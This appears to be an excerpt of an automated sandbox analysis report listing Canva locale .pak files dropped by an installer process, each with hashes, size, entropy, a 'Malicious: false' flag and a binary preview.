SSDEEP:	24576:E+CDcquMMLYzzQkECPUwVbtcHU373ZA+3aAKHkVDYyKzumpod2nm5c0XuGox3QN3:hCDcquMMLYUKUwVbtcHU373Z93arkVDn
MD5:	D0B47C1CF62B29B866CA630958A019FB
SHA1:	BAE6E1AF9D7225584510443AED21A40FCEA349E3
SHA-256:	24C09721C3CB4F3FE7EB403113375257197BED808295C6B85532409B6664DB45
SHA-512:	39472B1F6859C10CC782A303761D63A2409807D7D342C3BC558075284CF455A26C3E1B9B4CE67A5FBD84E6C4B621ADCFD8FD8A819CFC25554962454E5F4B5816
Malicious:	false
Preview:	........W%..e.X...h.`...i.h...j.t...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.#.....+.....0.....8.....@.....H.....O.....V.....].....^....._.....d.........................................a...........i...................................l.................]...........$...........O.................T...........,.....R.....>...........^.................p...........<.....&...........r...........p.............................[....................................................R.....y..... .................+...........P.................w...... ....g ..... ....6!.....!....."....)"....."....<#.....#.....#....5$.....$.....$.....%.....%....J&.....&.....&.....'.....(....K)....})....'..............%+.....+....-,....o,.....,.....-....E................../.....0.....0....l1.....2.....2.....2.....3.....3....x4.....4.....5.....5.....6.....7....>7.....8.....9.....9.....9.....:.....;.....<....O<.....=.....=.....>....E>.....>....p?.....?.....?.....@.....A....6B

C:\Program Files (x86)\Canva\locales\bn.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1170199
Entropy (8bit):	4.270267200548805
Encrypted:	false
SSDEEP:	3072:iOXg1lMf3u3jGVxXD7unXU7AI2HSzhb0Ylf14/QISydDbsh8VBbFKQg5hNDl2Ob:Hw3MvpXD7unLxSydHsh8VBbG5Hld
MD5:	83A0030387AFBE1CD2D6790079FC5024
SHA1:	9D4253D253167AEE6F3BA9CF6F8F376266832D00
SHA-256:	BF2FA4C57095E0BE63E8CD1AE6D2389D6417A91D8C9E1970EEEE5363C46F0D27
SHA-512:	20C92C5C3634A9663D933AA98D9356E18BEB8927F2975778967A65CC25522560784EABECFE99037008689CF3B77093C35D3F109F32AE2DB2160E9798415A3771
Malicious:	false
Preview:	........Q%..e.L...h.T...i.e...j.q...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.!.....)...........6.....>.....C.....K.....R.....Y.....`.....a.....b.....g.............................C.....M...........E.....:...........................................................H...........D...........q...........^...........c.............................w.....].....4.............................]...........Y...........k.............................O.....s.....k...........e.......................?...........w ..... ..... ....v!....."....;"....^"....>#.....#....W$.....$....S%.....%....O&....{&....3'.....'....'(....M(.....(.....).....)..............V+.....+.....+.....,................./.....0.....0....d1.....1....A2.....2.....3....<3.....4.....4....75....c5....K6....$7.....7....38.....8....~9.....9.....9.....:.....;.....;....%<....(=.....=....~>.....>.....?....=A....0B....cB.....C.....D....AE.....E.....F....EG.....G.....G.....H.....I.....I....&J....,K.....L

C:\Program Files (x86)\Canva\locales\ca.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	551632
Entropy (8bit):	5.40551102269728
Encrypted:	false
SSDEEP:	12288:WM4Hy2Q57BREeApk73K5PqF4N3Mw2juwHzejm0t3lvqbETX9/RSHhIsjcmlLEYuT:+itVzaBRn1WDMN8UpOO5J/ras
MD5:	D5D6200B582B9B12A0BD8C773DEA0474
SHA1:	341650B76AF1C74129A97725673B646B7256D4D6
SHA-256:	F4DA114B473C34E0946B12289F6E802FCEDE2F66013D4F184C729A1F8AE7350E
SHA-512:	1465E7214C4AE818B545778B831B7773F0373726F705160BA4DF33CE3C206A2166C8B6519336FD2B1E405EF6811D2CFDC2A655F1B767BF9B4E083C6A33B34AE4
Malicious:	false
Preview:	........U%..e.T...h.\...i.d...j.p...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.......'.....,.....4.....<.....D.....K.....R.....Y.....Z.....[.....].....w.......................s...........o.................c.................X...........<.....[.................V.....s...........".....U.....h.................L.....]...........G.................<...................................,.....@.................1.....E...........#.....h.............................).......................&.....v.......................T.......................T.......................c.......................P.......................).....t.......................d.................,.......................a.......................\.................$.....s.................B.................(.............................e.......................o................. ...........E.................R.................( ..... ..... ....*!....J!.....!.....!....."....."....."....."....6#....R#

C:\Program Files (x86)\Canva\locales\cs.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	568567
Entropy (8bit):	5.839431034543846
Encrypted:	false
SSDEEP:	6144:0/AkCOZjqspN1oAUGCDAfiebO5zU8rEsiNOPY3SBFmPy38Qu:0dJZuSPoAUTbe65zU8rEsiNOA3SzmPH
MD5:	0E52AC897F093B6B48B5063C816F6CA1
SHA1:	4F4FEBB42FD7CDD0BC7DF97C37DB0E4AA16518E4
SHA-256:	5635587F6FFB152C027B4357092FE78168E31CBC7F6BE694C627F819C1AD1D73
SHA-512:	9CF5594AC47AE967BD4221F61B92C97343EA0C911FBE992D35A9391E3E1E6560B1B41BD031074CD262A622CA88AF3B25BA33575B456A4D5B8A7B897233C0A54D
Malicious:	false
Preview:	........?%'.e.(...h.0...i.8...j.D...k.S...l.^...n.f...o.k...p.x...q.~...r.....s.....t.....v.....w.....y.....z.....\|.....}...........................................&.....-.........../.....1.....A.....S.....e.....z.......................'................. ...../...........2.........................................=.......................9.......................<...................................S.....u...........\.........................................9...................................G.....a.................0.....G.......................*.....y.......................h.......................\|.................&.....w.......................l...................................&.....:.........../.....s.................".....=.....Q.......................2.................%.....;.................\.................9.....T.....h...........K.....{.................j.................6...................................`.................d ..... ..... ..... ....Y!....~!.....!....."....l"....."

C:\Program Files (x86)\Canva\locales\da.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	513715
Entropy (8bit):	5.450169156228439
Encrypted:	false
SSDEEP:	6144:gRsuNwWzVPsP5sbse814e8jKwlRDdJwL2obEZZaFRQ5Mk2rkvb3d4nTGqFwJ:g6qskjdTv5M/rvTpu
MD5:	D5BF4ABA2D82744981EBF92CCAADF9C0
SHA1:	1A1C4EA1D4ECF5346EE2434B8EB79D0BF7B41D46
SHA-256:	0C75ACB008DD5C918D8A1A73C22FA7C503961481BF1708F6BDA0DA58693C3C08
SHA-512:	5BCCC18687FCEFAD5E78C5C8072ACEA36CE7687C5B848A1E0367C82A38F32F46402FF01EDD4FB1379EE77083EF0E1964E24BAD87B18CE78077B28F0C1BD4BD08
Malicious:	false
Preview:	........Y%..e.\...h.d...i.u...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.0.....8.....=.....E.....M.....U.....\.....c.....j.....k.....l.....n.....\|.............................................._.................&...........2.......................k.......................^.......................F.....p.....~...........G.....v.................\|.................E.......................l.................%.................~...........+.................).............................f.......................?..............................................0.......................).............................h.......................Q.....~...................................B.......................&.....z.......................W.....t.................l.................<.......................<.......................T.......................P.............................'.....].................X.......................2 ....N ....[ ..... .....!....T!

C:\Program Files (x86)\Canva\locales\de.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	549246
Entropy (8bit):	5.505323401507658
Encrypted:	false
SSDEEP:	6144:VJdzQHdf003K7UpKD93gFahmOW2xdVfwAXaOV5jbt5ZRYJoUjM5QIvCWa:VbIC03K7UpggFa0DtE3t5xUqvvCWa
MD5:	0BC4A1CF47A5AD423969F22AF3030231
SHA1:	3F6F19725068509EFD426600A6B512158267EB58
SHA-256:	E33EA8240835CC775A9E88942AA2905D17CEF84929602FD2C4F26F33F9BDC52A
SHA-512:	D9AB8855472077FBD7277A73FCB2BFA8CBB592F39E62957ACD91BFAC2E51DC24BA23D6C6DACB8DCD4EDFFFF5A59B2BB4D9761F70327AFA0A668BD55E95B00864
Malicious:	false
Preview:	.........$y.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.+...y.1...z.@...\|.F...}.X.....`.....e.....m.....u.....}.......................................................................^.................K................. .................d.....~...........t.................5.......................`.............................$.....[.....}.............................n...........,.....=...........?.....}...........&.................&...........e.................J.......................[.......................n.............................$.....g.....~...........l.................#.......................L.......................{.........../.....A...........p.................G.......................A.......................?.......................z...........2.....f...........3.....Q.....h...........M.....y............ ..... ..... ..... ....Z!.....!....2"....<"....."....Y#.....#.....#....5$.....$.....$.....$....Q%.....%.....%.....%....z&.....&....0'

C:\Program Files (x86)\Canva\locales\el.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	994931
Entropy (8bit):	4.737922927263801
Encrypted:	false
SSDEEP:	24576:2YcaPdGgxh1hxFJiL9+0JXDsSaSmqHuuD2Np6P4j/MAVH8yeVd85tRDQr3egif27:2YcaPdGgxh1hxFJiL9+0JXDsSaSmqHbp
MD5:	71ABCFDF468DC5813610DD32234BE946
SHA1:	AA4C14E702B06E391834E4CFC58929B873BC3D1A
SHA-256:	F1E01EEB90C0842F7AF927F65D034FC93FDBCBCB9B9EA7E31C79761C316C8FB8
SHA-512:	615B591E4BD744848E6E15B729E543FAA9AB06DB11F042FFF12FFEE6FD3E7802C9DA37D8784004E6727FC39CDE17BECB60C1158DEC401E20A088056451693BB8
Malicious:	false
Preview:	........X%..e.Z...h.b...i.j...j.t...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.#.....+.....0.....8.....@.....H.....O.....V.....].....^....._.....a....................... .....G.....%.............................h.................z.....&.....X.....{...................................s...........9.................8.................&....._.....g.....a...........0.................A.....\.....C...........q.................H.................2............................y.......................N.................\...... ....J ..... ....a!....;".....".....".....#....g$.....$.....$.....%.....&.....&....&'.....'.....(.....(.....).....)..........*.....+.....,....%-.....-.....-.........../...../....$0.....0....M1.....1.....1...._2.....2....M3....z3....g4....'5.....5.....5.....6....J7.....7.....7....x8....:9.....9.....9.....:....e;.....;.....<....H=....c>.....?....R?....S@....:A.....A.....A.....C.....D.....D.....D....mE....7F.....F.....F.....G.....H....HI

C:\Program Files (x86)\Canva\locales\en-GB.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	447042
Entropy (8bit):	5.522859001768912
Encrypted:	false
SSDEEP:	6144:hR4GWUMzWjLCI7MP9ej7HXfaYISMv5n51SKBcWRnpM:UEh7Ma7H6N51SOM
MD5:	413E4484B8AA83BF7D928AF143340DD9
SHA1:	92B8DC474FD507F28C51B34014FE9F867AF25531
SHA-256:	AD460425C88BE889D6D6A9B69D0B6F64E2E957BF8AC4F230DE4D25340C75BA87
SHA-512:	E8AB41CA706D8A49B4A411FB9F50BF1C04627DAB452A7AEC01A5C61E4951FDE42FC05163CBD193F034BFEE378849353DB9AD4B8A2DB3F992DF105DF17BB146E0
Malicious:	false
Preview:	.........%..e. ...h.(...i.6...j.B...k.Q...l.\...n.d...o.i...p.v...q.\|...r.....s.....t.....v.....w.....y.....z.....\|.....}...........................................$.....+.....,.....-.....2.....?.....N.....^.....o...........B.......................@.....q.................A.....}.................8.....g.....\|.................7.....E.............................W.......................:.......................0.....}.......................S.....~.................".....N.....Y...........".....d.....x.............................V.............................9.....Z.....f.................@.....S.......................#.....l.......................-.....q.......................2.....[.....f.................\.....q.................!.....7.............................?.............................U.......................,.....G.....V.......................>.......................3.................N.....\.................S.....p.................>.....M.............................c.............

C:\Program Files (x86)\Canva\locales\en-US.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	451080
Entropy (8bit):	5.512024572152552
Encrypted:	false
SSDEEP:	6144:UVmES/piH64PrXGM0w3jMMP9eD3D9faYLbcNx54SbngP/eoQwB:Umz14XRlMMY3DzA54S+QwB
MD5:	8F164155D22029535CD60F47966A89AF
SHA1:	19733935EFE68F7FF3E2A84D28317E0391EB824B
SHA-256:	20BE1732675FEDF380010B09936ED65C71BB761D0A05732215EF0795B5ABA606
SHA-512:	4582715817BB9C99D875AA89B1EFBD0F70B63DCD37DBFC64E3078D1D4D7AD4AE8FAC5A703AFE1FC65B9AF2F5C0FE8D3E293E2F0530106A6974B38B4CEBCA9DB0
Malicious:	false
Preview:	.........%s.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.!...w.....y.4...z.C...\|.I...}.[.....c.....h.....p.....x.......................................................................I.......................^.......................S.......................V.......................1.....v.......................9.....`.....m.................$.....;.................#.....;.............................k.......................9.......................#.............................M.....h.....w.............................[.............................m.......................I.....v.......................9.....D.............................L.......................&.......................!.....`.............................?.....T.............................s.......................Z.............................Z.......................9.....q.................Z.......................m.......................c.......................#.....E.....U...................

C:\Program Files (x86)\Canva\locales\es-419.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	543303
Entropy (8bit):	5.374575506060356
Encrypted:	false
SSDEEP:	6144:BJoGuBgJYXqY+clpuYsKBoj5z6gLFdUu2bR:BJqGiqQpPU5z62F/oR
MD5:	6E7EEE3C0D7935B4B72FB529227413D8
SHA1:	64643BA51EDCA0C0387073716D68380DF5E2DC7C
SHA-256:	06D13FFC791BB7189F5AFBB166B1DC2BCF9309F04B68E4F16BAACD4B3F625021
SHA-512:	F55A55D9F23463A51F48BD16DEBCC6FCA28EEC4CEFBB3006083E741795EDD9A9EFB8D1126210F4A35558BC698C8A76A43E9E56093A90145137A7854B4A2E44F8
Malicious:	false
Preview:	........]%..e.d...h.l...i.u...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.0.....8.....=.....E.....M.....U.....\.....c.....j.....k.....l.....n.............................N...........B.....]...........5.....z...........&.................!.................P.....k.................8.....K.................0.....A...........;.................:...................................:.....M...........".....`.....w...........c.................^...........6.....].................#.....>.......................&.......................4.................V.....i...........-.....k.....w...........#.....T....._.................8.....B.................P.....`...........S.................%.....z................./.....\|.................m.................>.................6.......................%.......................4.................M.....g...........\|.................. ..... ....F!....t!.....!....Z".....".....".....#....K#....n#.....#.....$....r$.....$.....$

C:\Program Files (x86)\Canva\locales\es.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	543232
Entropy (8bit):	5.350780003321714
Encrypted:	false
SSDEEP:	6144:DD8qint0wME1/o/7Ng0Hkp3+UNoqFtnjO5Jmr40nIw6PZgHu:D4vthMsy7EpPoqTnjO5IrbnjO
MD5:	1EFB37FAA54DA5A7D9FE694FEE7D5E4E
SHA1:	497F6E0FB9DC099DFD8E107570FEBE9D0A6EBC2D
SHA-256:	77AA01763C114B75A83DE3C34C60497B1CA23C98523F58A43C76AAE7380AB3B6
SHA-512:	FACC41943159DAD7541F5D50B8216F6CCF02703A983DD81120F387DDEA70D502F5D66C275F80267C7A3B1EB9F1C751A4EC3B307D03F872BE4237366637BB829A
Malicious:	false
Preview:	........b%..e.n...h.v...i.~...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.!...\|.'...}.9.....A.....F.....N.....V.....^.....e.....l.....s.....t.....u.....w.............................]...........U.....p...........R.................>.................H...........+.....g.................=.....l.....\|...........>.....f.....w...........q.................e.................<.................W.....h...........8.....t.................}.................u...........9.....^.................F.....\.................0.....?.................8.....N.................M.....`.................I.....U.................3.....>....................... .........................................R.....l...........".....N.....k.................C.....b...........I.....n.................v.................[.......................O.......................e................. ...........4.................7 ..... .....!....+!.....!....."....O"....c".....".....#.....#....A#.....#.....$....R$

C:\Program Files (x86)\Canva\locales\et.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	493540
Entropy (8bit):	5.454116761923621
Encrypted:	false
SSDEEP:	6144:+pQdZQe2AH5hJ1HNR5yyX+DuH/Fb0WmFosS4Eqsoh7Pwiw5dQH57jnMlvCKMvaKL:+yZ92ejyyIuJmFoszwQH57jUW
MD5:	78A8A4956B1CD09124B448985A839F28
SHA1:	A25BCAB44ED12DD0DD643AA6782903B22B84816B
SHA-256:	AC1431E61F8C6C56EF96860DC8A8DDF840DBF6965AF6B920D811B7E39ADAB6B1
SHA-512:	843BAFCE3E528BA98A3FF537B01D7896F83C22C0AD2E43BBCE83381FAA943D74D7B11B419DAAC0B0F57DE30D5792E3262DEFE9C68F5F4C7CA84B173395D14798
Malicious:	false
Preview:	........n%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v. ...w.-...y.3...z.B...\|.H...}.Z.....b.....g.....o.....w.......................................................................c...........Z.....u...........D.....t.................i...............................................}.......................l.......................k.........................................G.......................K.......................[...................................K.....b...........'.....I.....d.................0.....<.......................+.................3.....>.................?.....M.................7.....?.................2.....A.................4.....<...........$....._.....w...........%.....D.....Z.................<....._.................D.....Q.................M.....y.................6.....G.................3.....K.................O.....j...........e.................S.................>.................P.....].................. ....- ..... ..... ....)!

C:\Program Files (x86)\Canva\locales\fa.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	808052
Entropy (8bit):	5.022679220176124
Encrypted:	false
SSDEEP:	24576:Jap2Eq8u313uyqoT+s7q+NRmX1loT4RmdAQifaQ2XxFMJGk620driUHMX9O9xdpW:sUjJ5SV
MD5:	6C6C939CBCE5A9AE6B6A89B9DC1B14CD
SHA1:	8674B02FB2A11BA6664427C78401D261DCEC859C
SHA-256:	D77AADACDB5B72345C68590ECE6463EFCDD4E8817FE3DEDAD98D64F132B8E48F
SHA-512:	3CF8ECCAC20108550C2A7758531AE992D72AA23396ABDFD38E613ED26FC755FA33385B4538DCE9E19309B622973CA6D4C0FEEEDC7064DF9BB12419DFC630D545
Malicious:	false
Preview:	.........%W.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.!...r.-...s.>...t.G...v.\...w.i...y.o...z.~...\|.....}...............................................................................7.....^.....C.......................h.......................i.....).......................R.................k...........].....p...................................I.................r...........g...........%.................-...........l.......................O.......................\|.......................#.....W.....{.............................Y.........../.....F...........~.................s...........S.....j...........v.................N.................@...........f.................f .....!....r!.....!.....".....".....".....".....#....4$....y$.....$....I%.....%....6&....V&.....'.....'.....'....A(.....(....7)....\)....w)....1.........-+....O+.....+.....,.....,.....,.....-.........../...../....p0.....1....r1.....1....a2.....3....W3....z3.....3....\|4.....4.....4....t5.....6....`6.....6

C:\Program Files (x86)\Canva\locales\fi.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	504052
Entropy (8bit):	5.421469618205756
Encrypted:	false
SSDEEP:	12288:/aVXt4D7SmA19ub5KuOar5yZ7kfCHEpyWaM7OYM:/64D7Smll5yFHZl
MD5:	83DEC7D70140F96E780BCA0E97EB3DFA
SHA1:	E0C9891241D88716419F476BB193ADA5D8606EB1
SHA-256:	AE902AB57A1325D4F0A0A1C69790F28F5E49B5671A99C4C315367B4425D1DE97
SHA-512:	7B1851C2476290DBDE7DCBEFBE75F89041EC185DC4354DB55FFE2DA588E17363403921EEAF9FD26EBA8EB4DE3BF99876339DE1DD4219EC6F5E2EA3679B90BE71
Malicious:	false
Preview:	.........%f.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.&...t./...v.D...w.Q...y.W...z.f...\|.l...}.~...........................................................................................................h.....{...........A.....t.................d.........................................'.....}.......................N.....n.....~...........*.....P.....j...........M.......................[.......................].......................^.................&.......................O.......................).....u.......................I.....r.....~...........!.....K.....U.................4.....A.............................n.......................R.......................G.......................d.......................1.......................'.......................%......................./.....o.......................L.....v.................D.....}...................................k.......................{.......................V.............................u.......

C:\Program Files (x86)\Canva\locales\fil.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	569703
Entropy (8bit):	5.1919702904490395
Encrypted:	false
SSDEEP:	6144:aZdptKHeHQogDYIQy7DQEuH2V8L0dnGNLmG5IXmr1YARQqK:odM5kxEG5mmg
MD5:	E499AF17FCE1F7F276B3BFB0E1B2F5B2
SHA1:	E2BF18ACF2A9E357AA7A694B5C60F947FD8BB0C2
SHA-256:	A30015021FB928BCF16F9409FB45FB89CA3D196BAFB3597DF3FE4A9E477A3FD9
SHA-512:	A1F03B7A6EC3F4601052D4E1F2CA6C092D9E5FE41CE7DF89F7E7FBE1A1892DF73A9CB85058F3C24E1236ED013E2BDD017F7BEC3D6B6FF13CA61BF0849C73F472
Malicious:	false
Preview:	.........%..e.L...h.T...i.j...j.v...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.%.....-.....2.....:.....B.....J.....Q.....X....._.....`.....a.....f.....s.......................W...........F.....d...........[.................]...........J.....q...........f.................$.......................1.......................t...........%.....T...........j.................Y.................-.................T.....n...........i.................b...........N.....p.........../.....Z.....w...........%.....M.....Z.................8.....G...........$....._.....u...........A.....w.................I.....{.................J.....{.................L.....~...................................^.......................X.......................H.......................q...........*.....a...........(.....R.....l...........J.....}...........& ..... ..... ..... .....!....1"....."....."....@#.....#.....$....@$.....$.... %....V%....n%.....%....&&....N&....d&.....&....Z'.....'

C:\Program Files (x86)\Canva\locales\fr.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	587932
Entropy (8bit):	5.385302506831163
Encrypted:	false
SSDEEP:	12288:3OjnZLqxMDpDgEL6QuaMVWXKz05FlZQmZyMYnYtzLl9ujzx4e5hxkJSW7v40wCJY:3Okm2VqN5Q7
MD5:	606E583292DBEAE8A3742A700D09E1C2
SHA1:	BF49B446173BA81EC3F926D69B87A81C5E233C4E
SHA-256:	C22E274FBC4A033CB8A9A4E9A96F82487DC671EC0AD49B3257939D2A8A751442
SHA-512:	47277EDBFB2DCE8724900C0A7B0231E34DEEE19B268F46C08D56ADECAD38D629D79466C26B701B6F43607F7DCDE55B1BBF6C3D73BDBD7E22096A0D14AD901621
Malicious:	false
Preview:	........F% .e.6...h.>...i.O...j.[...k.j...l.u...n.}...o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.........................'...../.....6.....=.....D.....E.....F.....H.....X.....f.....x...........,...........L.....n...........U.................=...........".....>.................m.................J.....v.................Z.................5...................................>.....b...........@.......................i...............................................#.......................d.......................^.......................d.......................\|.................-.......................0.............................{.......................z.................A...........%.....<.................0.....N.......................$.................*.....F...........Q.................-.....\|.................-.......................z...........,.....L...........J ..... ..... ....8!.....!.....!.....".....".....#....h#.....#.....#....0$....]$....q$.....$....]%.....%

C:\Program Files (x86)\Canva\locales\gu.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1148544
Entropy (8bit):	4.309990877698155
Encrypted:	false
SSDEEP:	3072:A4TQMBc+YPbBMDBW6bfrBDNOHIwjAwREJKVMjNiT7llj63rFXlPCpMi5eWWiMJsr:A4THSPbr6bvMa/+c5q4hNkFR
MD5:	DBC465E12C921212C1A3E899E5FD5046
SHA1:	F6F7081E622DF0FC9647DCE0572483899A59E440
SHA-256:	7B06F3B7040901E7DBD2884BA534D43E73013CE0677BC725D53BCCD54759AD5E
SHA-512:	9C3F3E7E7A62A0148789F561C37144F971ECC16C44A4F5A89214CBD7FADE0E1D2CCCD5C106C4718DF84A198262EF139A6530C400F5C0873231009E8B432BD3BC
Malicious:	false
Preview:	........T%..e.R...h.Z...i.t...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}./.....7.....<.....D.....L.....T.....[.....b.....i.....j.....k.....p.............................V.....S.....$.....`.....S.....................................................U.......................;.................f...........P.....p.....S...........n.......................J...........b.....6...................................+.....(.....#...............................................(.....d...........D...........9.....a...... ..... ..... .....!.....!....."....."...."#.....#.....$.....$.....%.....%....q&.....&.....&.....'....7(.....(.....(....^).........i.....*.....+.....,....P-.....-....?...........F/....o/...../....t0.....0.....0....u1....V2.....2.....3.....4.....4....h5.....5.....6....-7....p7.....7.....8....K9.....9.....9.....:.....;....'<....Z<.....=.....>....\|?.....?.....@.....A....0B.....B....pC....<D.....D.....D.....E....gF.....F.....F.....H.....H.....I

C:\Program Files (x86)\Canva\locales\he.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	708276
Entropy (8bit):	4.622250398985609
Encrypted:	false
SSDEEP:	12288:N7wJFZb6J5hhT3BluYCy31frspm2GWqu/kol4JACVXbfeQCajLn5O67cE+oixB0X:ZUFZQjb5woB
MD5:	0002D6ECC7F06D88DC714DEBF31C925A
SHA1:	4C5DE1E0A8EF47B0D98BB3A9C5C1EE176F0DF3EF
SHA-256:	D71C98ED9EF2AAF13033332DCD40F41785656C156D41614916353DAA3EA5F2A7
SHA-512:	060C668B540813055F7537B64F8A9F4B393E3E1D31A6341C603644725EB8673E3249A07B7F519CCCDB65C4D2ABED2792580DF880CFB8B9B154D9DDADB3ADE027
Malicious:	false
Preview:	........4%2.e.....h.....i.+...j.7...k.F...l.Q...n.Y...o.^...p.k...q.q...r.}...s.....t.....v.....w.....y.....z.....\|.....}................................................. .....!.....".....$.....;.....T.....m...........O.......................9............................._.................d...........3.....U...........J.........................................g.................?...........V.................f...........E.....d...........[.................C.................#.........................................(.....U...........?.....q...............................................<.....O...........E.........................................E.........................................A...........h.................Y.........................................4...........+.....{...........9 ..... ..... ....1!.....!.....!....."....3".....".....#....G#....`#.....$....u$.....$.....$.....%....u&.....&.....'.....'....>(.....(.....(....g).....)....4....[.....*....G+....w+.....+....P,.....,....=-

C:\Program Files (x86)\Canva\locales\hi.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1211426
Entropy (8bit):	4.285504136009603
Encrypted:	false
SSDEEP:	3072:EzCplnpUoc9rQtU2BxfwUV/BB0ZV1d+uxlRLiW3Jd1eTByntDPtDl+p1as4u/8W0:Ez/Xlexoev85P5+hgr
MD5:	5FE0B17532CFC8523F97EE17DBA844A7
SHA1:	6233FD3670BCB32C4EFEAEF7BDB41ADEE6EFD825
SHA-256:	352F833B4F936369216EEAA1F8C5E652B34A36CC143FF9A872B0608E4E88957C
SHA-512:	A37DB9DA6D9B5F913930712A57FED8EBE1654787B246445A40F59A91FCC67373367CADAB2DD70A89445514F2D6D806FA3DFD744461E2C15777FFAD30D3D0BF12
Malicious:	false
Preview:	.........%L.e.....h.....i.....j.....k.....l.....n.%...o....p.7...q.=...r.I...s.Z...t.c...v.x...w.....y.....z.....\|.....}...............................................................................7.....b...............................................'.....b.........................................F.....u.....H...........V...........>...........9.....\.....C...........F.............................D.................N.....w.....^...................................D.....v.................s.................9.................q....." ....u ..... ....3!.....!....."....&".....".....#...."$....S$.....%.....%....$&....C&.....&.....'.....'.....(.....(....b).....).....).........B+.....+.....+.....,.....-....L.....\|.....8/...../....00....\0.....0....x1.....1.....1.....2.....3.....3.....3.....4.....5.....6....[6.....7.....7.....7.....8.....9.....9....{:.....:.....;....a<.....=....:=.....>.....?.....@.....@.....A.....B....KC.....C.....D.....E....>F.....F.....G....FH.....H.....H.....I.....J....DK

C:\Program Files (x86)\Canva\locales\hr.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	548310
Entropy (8bit):	5.5075408976258435
Encrypted:	false
SSDEEP:	3072:21tKv376P+UG5oi2IAD1OaBV08HSrk7D+wfWrDfB+uhAxqOSAq6+xMcwd0uP5qci:21tKvL6KrA5nEBwuBhbkBc5Pg7YIjemK
MD5:	7BA9BF24F9965EF7FF2A9EEA86188EE0
SHA1:	B9953144FB5E519A7A35AE595A29D15BBD34C0F1
SHA-256:	F882072827C75A5C046E29CC4E2468A41CB786199045B58550E978272D338FE8
SHA-512:	768213543C68CAF8CA941B1C7C87E5DDDAAFC4915457A849C83B4FECE528BB7BDA409B99930572DBC6A102FD7DBB29A593073B1D5B894708AB2B2019A938BE2B
Malicious:	false
Preview:	........r%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.(...w.5...y.;...z.J...\|.P...}.b.....j.....o.....w.............................................................................w...........e.................R.................#.......................q.................(.......................$.....y.......................x.................,...........).....}.................k.................+.......................M.................'...........@.................%.....v.......................P.....r.......................6.....F.................@.....U.................2.....A.................D.....Y.................,.....<.......................$................._.....z.................<.....Y.......................?.......................,.................Q.................-.....R.....h...........5.....g.................a.................Y...........4.....F.................l.................S ..... ..... ..... ....0!....N!....`!.....!....<"....z"

